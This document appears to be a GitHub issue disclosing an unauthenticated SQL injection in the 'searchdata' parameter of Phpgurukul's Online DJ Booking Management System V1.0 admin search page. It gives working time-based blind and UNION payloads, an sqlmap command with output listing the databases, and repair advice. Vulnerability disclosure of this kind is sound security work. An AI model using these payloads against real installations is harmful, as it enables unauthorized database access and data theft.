

[New issue](#)

# Phpgurukul Online DJ Booking Management System V1.0 /admin/booking-search.php SQL injection #2

[Open](#) MoshangChunfeng opened 2 weeks ago

...

## NAME OF AFFECTED PRODUCT(S)

- Online DJ Booking Management System

## Vendor Homepage

- <https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/>

## AFFECTED AND/OR FIXED VERSION(S)

## submitter

- YeyukongXiaodengli

## Vulnerable File

- /admin/booking-search.php

## VERSION(S)

- V1.0

## Software Link

- [https://phpgurukul.com/?sdm\\_process\\_download=1&download\\_id=11402](https://phpgurukul.com/?sdm_process_download=1&download_id=11402)

# PROBLEM TYPE

---

## Vulnerability Type

---

- SQL injection

## Root Cause

---

- A SQL injection vulnerability was found in the '/admin/booking-search.php' file of the 'Online DJ Booking Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'searchdata' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

## Impact

---

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

## DESCRIPTION

---

- During the security review of "Online DJ Booking Management System", I discovered a critical SQL injection vulnerability in the "/admin/booking-search.php" file. This vulnerability stems from insufficient user input validation of the 'searchdata' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

**No login or authorization is required to exploit this vulnerability**

---

## Vulnerability details and POC

---

### Vulnerability Ionameion:

---

- 'searchdata' parameter

### Payload:

---

Parameter: searchdata (POST)

Type: time-based blind



**Title:** MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
**Payload:** searchdata=1' AND (SELECT 6894 FROM (SELECT(SLEEP(5)))eYMt) AND 'MfqM'='MfqM&searc

Type: UNION query

Title: Generic UNION query (NULL) - 16 columns

Payload: searchdata=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b6a71,0x7a4d

## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u "http://10.20.33.25/odms/admin/booking-search.php" --data="searchdata=1&sea 
```

```
[ 15:14:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[ 15:14:15] [WARNING] POST parameter 'search' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
-- 
Parameter: searchdata (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: searchdata=1' AND (SELECT 6894 FROM (SELECT(SLEEP(5)))eYMt) AND 'MfqM'='MfqM&search=
  Type: UNION query
  Title: Generic UNION query (NULL) - 16 columns
  Payload: searchdata=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b6a71,0x7a4d4f6b69634b665a4b5353755a4b7255576a4753636c447572736963655347504c69597978736e,0x7178707a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--&search=
  --
[ 15:14:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.11
back-end DBMS: MySQL >= 5.0.12
[ 15:14:15] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] odmsdb
```

## Suggested repair

### 1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data.

When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

### 2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

### 3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions.

Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

### 4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free

**to join this conversation on GitHub.** Already have an account? [Sign in to comment](#)

#### Assignees

No one assigned

#### Labels

No labels

#### Projects

No projects

#### Milestone

No milestone

#### Relationships

None yet

#### Development

 [Code with Copilot Agent Mode](#)

No branches or pull requests

#### Participants

